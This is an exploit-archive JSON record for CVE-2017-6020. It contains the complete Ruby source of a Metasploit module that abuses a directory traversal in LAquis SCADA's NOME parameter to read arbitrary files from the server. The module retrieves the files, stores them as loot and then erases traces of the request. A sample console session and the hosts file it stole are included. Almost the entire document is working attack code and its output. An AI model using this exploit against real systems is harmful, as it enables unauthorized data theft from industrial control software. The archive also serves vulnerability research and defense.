{"exploit":{"id":"EDB-42885","name":"LAquis SCADA 4.1.0.2385 - 'NOME' Directory Traversal (Metasploit)","description":"LAquis SCADA 4.1.0.2385 - 'NOME' Directory Traversal (Metasploit)","cves":["CVE-2017-6020"],"author":"James Fitts","published":"2017-09-27","platform":"multiple","type":"remote","language":"Ruby","source":"exploit-db","sourceUrl":"https://www.exploit-db.com/exploits/42885","path":"exploits/multiple/remote/42885.rb","revision":"8a926a9b85beb3bccd6e8016211fdb73e904b52b","filename":"EDB-42885.rb","vulnerabilities":[{"id":"CVE-2017-6020","state":"PUBLISHED","title":null,"titleSource":null,"description":"Leao Consultoria e Desenvolvimento de Sistemas (LCDS) LTDA ME LAquis SCADA software versions prior to version 4.1.0.3237 do not neutralize external input to ensure that users are not calling for absolute path sequences outside of their privilege level.","descriptionSource":"CVE Program","descriptionUrl":"https://www.cve.org/CVERecord?id=CVE-2017-6020","cvss":{"version":"3.0","baseScore":5.3,"severity":"medium","vectorString":"CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N","source":"NVD","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2017-6020"},"updatedAt":"2024-09-17T04:14:47.260Z","retrievedAt":"2026-11-27T06:12:48.593Z","stale":false,"error":null}],"imageUrl":"https://exploitbin.com/social/exploits/EDB-42885.png?v=2","url":"https://exploitbin.com/exploits/EDB-42885","downloadUrl":"https://exploitbin.com/api/v1/exploits/EDB-42885/download","codeUrl":"https://exploitbin.com/api/v1/exploits/EDB-42885/code","licenseUrl":"https://exploitbin.com/sources#exploit-db"},"code":"require 'msf/core'\n\nclass MetasploitModule < Msf::Auxiliary\n\tRank = GreatRanking\n\n\tinclude Msf::Exploit::Remote::HttpClient\n\n\tdef initialize(info = {})\n\t\tsuper(update_info(info,\n\t\t\t'Name'           => 'LAquis SCADA Web Server Directory Traversal Information Disclosure',\n\t\t\t'Description'    => %q{\n\t\t\t\tThis module exploits a directory traversal vulnerability found in the LAquis SCADA\n\t\t\t\tapplication. The vulnerability is triggered when sending a series of dot dot slashes\n\t\t\t\t(../) to the vulnerable NOME parameter found on the listagem.laquis file.\n\n\t\t\t\tThis module was tested against v4.1.0.2385\n\t\t\t},\n\t\t\t'Author'         => [ 'james fitts' ],\n\t\t\t'License'        => MSF_LICENSE,\n\t\t\t'References'     =>\n\t\t\t\t[\n\t\t\t\t\t[ 'CVE', '2017-6020' ],\n\t\t\t\t\t[ 'ZDI', '17-286' ],\n\t\t\t\t\t[ 'BID', '97055' ],\n\t\t\t\t\t[ 'URL', 'https://ics-cert.us-cert.gov/advisories/ICSA-17-082-01' ]\n\t\t\t\t],\n\t\t\t'DisclosureDate' => 'Mar 29 2017'))\n\n\t\tregister_options(\n\t\t\t[\n\t\t\t\tOptInt.new('DEPTH', [ false, 'Levels to reach base directory', 10]),\n\t\t\t\tOptString.new('FILE', [ false, 'This is the file to download', 'boot.ini']),\n\t\t\t\tOpt::RPORT(1234)\n\t\t\t], self.class )\n\tend\n\n\tdef run\n\n\tdepth = (datastore['DEPTH'].nil? or datastore['DEPTH'] == 0) ? 10 : datastore['DEPTH']\n\tlevels = \"/\" + (\"../\" * depth)\n\n\tres = send_request_raw({\n\t\t'method'\t=>\t'GET',\n\t\t'uri'\t\t\t=>\t'/'\n\t})\n\n\t# make sure the webserver is actually listening\n\tif res.code == 200\n\t\tblob = res.body.to_s.scan(/(?<=href=)[A-Za-z0-9.?=&+]+/)\n\n\t\tfor url in blob\n\t\t\tif url =~ /listagem/\n\t\t\t\tlistagem = url\n\t\t\tend\n\t\tend\n\n\t\t# make sure the vulnerable page is there\n\t\t# not all of the examples include the\n\t\t# vulnerable page, so we test to ensure\n\t\t# that it is there prior to executing our code\n\t\t# there is a potential that real world may not\n\t\t# include the vulnerable page in some cases\n\t\t# as well\n\t\tres = send_request_raw({\n\t\t\t'method'\t=>\t'GET',\n\t\t\t'uri'\t\t\t=>\t\"/#{listagem}\",\n\t\t})\n\n\t\t# trigger\n\t\tif res.code == 200 and res.body.to_s =~ /<title>Listagem<\\/title><\\/head>/\n\n\t\t\tloot = []\n\t\t\tfile_path = \"#{datastore['FILE']}\"\n\t\t\tfile_path = file_path.gsub(/\\//, \"\\\\\")\n\t\t\tcleanup = \"#{listagem}\"\n\t\t\tcleanup = cleanup.gsub(/DATA=/, \"DATA=#{Rex::Text.rand_text_alphanumeric(15)}\")\n\t\t\tcleanup = cleanup.gsub(/botao=Enviar\\+consulta/, \"botao=Submit\\+Query\")\n\t\t\tvulnerability = listagem.gsub(/(?<=NOME=)[A-Za-z0-9.]+/, \"#{levels}#{file_path}\")\n\n\t\t\tres = send_request_raw({\n\t\t\t\t'method'\t=>\t'GET',\n\t\t\t\t'uri'\t\t\t=>\t\"/#{vulnerability}\"\n\t\t\t})\n\n\t\t\tif res and res.code == 200\n\t\t\t\tblob = res.body.to_s\n\t\t\t\tblob.each_line do |line|\n\t\t\t\t\tloot << line.match(/.*&nbsp;<\\/font><\\/td>.*$/)\n\t\t\t\tend\n\n\t\t\t\tloot = loot.join.gsub(/&nbsp;<\\/font><\\/td>/, \"\\r\\n\")\n\n\t\t\t\tif not loot or loot.empty?\n\t\t\t\t\tprint_status(\"File from \\'#{rhost}:#{rport}\\' is empty...\")\n\t\t\t\t\treturn\n\t\t\t\tend\n\t\t\t\tfile = ::File.basename(datastore['FILE'])\n\t\t\t\tpath = store_loot('laquis.file', 'application/octet-stream', rhost, loot, file, datastore['FILE'])\n\t\t\t\tprint_status(\"Stored \\'#{datastore['FILE']}\\' to \\'#{path}\\'\")\n\n\t\t\t\t# cleaning up afterwards because the response\n\t\t\t\t# data from before is written and becomes\n\t\t\t\t# persistent\n\t\t\t\treferer = cleanup.gsub(/DATA=[A-Za-z0-9]+/, \"DATA=\")\n\n\t\t\t\tres = send_request_raw({\n\t\t\t\t\t'method'\t=>\t'GET',\n\t\t\t\t\t'uri'\t\t\t=>\t\"/#{listagem}\"\n\t\t\t\t})\n\n\t\t\t\tif res.code == 200\n\t\t\t\t\tnome = res.body.to_s.match(/(?<=<input type=hidden name=NOME value=\")[A-Za-z0-9.]+/)\n\t\t\t\t\tcleanup = cleanup.gsub(/(?<=NOME=)[A-Za-z0-9.]+/, \"#{nome}\")\n\t\t\t\t\tres = send_request_raw({\n\t\t\t\t\t\t'method'\t=>\t'GET',\n\t\t\t\t\t\t'uri'\t\t\t=>\t\"/#{cleanup}\",\n\t\t\t\t\t\t'headers'\t=>\t{\n\t\t\t\t\t\t\t'Referer'\t=>\t\"http://#{rhost}:#{rport}/#{referer}\",\n\t\t\t\t\t\t\t'Accept-Language'\t=>\t'en-US,en;q=0.5',\n\t\t\t\t\t\t\t'Accept-Encoding'\t=>\t'gzip, deflate',\n\t\t\t\t\t\t\t'Connection'\t=>\t'close',\n\t\t\t\t\t\t\t'Upgrade-Insecure-Requests'\t=>\t'1',\n\t\t\t\t\t\t\t'Cache-Control'\t=>\t'max-age=0'\n\t\t\t\t\t\t}\n\t\t\t\t\t})\n\t\t\t\tend\n\n\t\t\t\treturn\n\n\t\t\tend\n\n\t\telse\n\t\t\tprint_error(\"Vulnerable page does not exist...\")\n\t\tend\n\n\telse\n\t\tprint_error(\"The server does not appear to be listening...\")\n\tend\n\n\tend\nend\n__END__\nmsf auxiliary(laquis_directory_traversal) > show options\n\nModule options (auxiliary/server/laquis_directory_traversal):\n\n   Name     Current Setting                     Required  Description\n   ----     ---------------                     --------  -----------\n   DEPTH    10                                  no        Levels to reach base directory\n   FILE     Windows/System32/drivers/etc/hosts  no        This is the file to download\n   Proxies                                      no        A proxy chain of format type:host:port[,type:host:port][...]\n   RHOST    192.168.1.2                         yes       The target address\n   RPORT    1234                                yes       The target port (TCP)\n   SSL      false                               no        Negotiate SSL/TLS for outgoing connections\n   VHOST                                        no        HTTP server virtual host\n\nmsf auxiliary(laquis_directory_traversal) > rexploit\n[*] Reloading module...\n\n[*] Stored 'Windows/System32/drivers/etc/hosts' to '/home/james/.msf4/loot/20170927110756_default_192.168.1.2_laquis.file_227964.bin'\n[*] Auxiliary module execution completed\n\njames@bloop:~/.msf4/loot$ cat 20170927110456_default_192.168.1.2_laquis.file_677204.bin\n# Copyright (c) 1993-2009 Microsoft Corp.\n#\n# This is a sample HOSTS file used by Microsoft TCP/IP for Windows.\n#\n# This file contains the mappings of IP addresses to host names. Each\n# entry should be kept on an individual line. The IP address should\n# be placed in the first column followed by the corresponding host name.\n# The IP address and the host name should be separated by at least one\n# space.\n#\n# Additionally, comments (such as these) may be inserted on individual\n# lines or following the machine name denoted by a '#' symbol.\n#\n# For example:\n#\n#      102.54.94.97     rhino.acme.com          # source server\n#       38.25.63.10     x.acme.com              # x client host\n\n# localhost name resolution is handled within DNS itself.\n#\n#","sha256":"3d18a4dc9596ba2fcf1affa958dbdc639f525194cfc2cb40e081d84a8c2d714b","bytes":5999,"fetchedAt":"2026-11-27T06:12:43.741Z","encoding":"utf-8 (display only; download retains original bytes)"}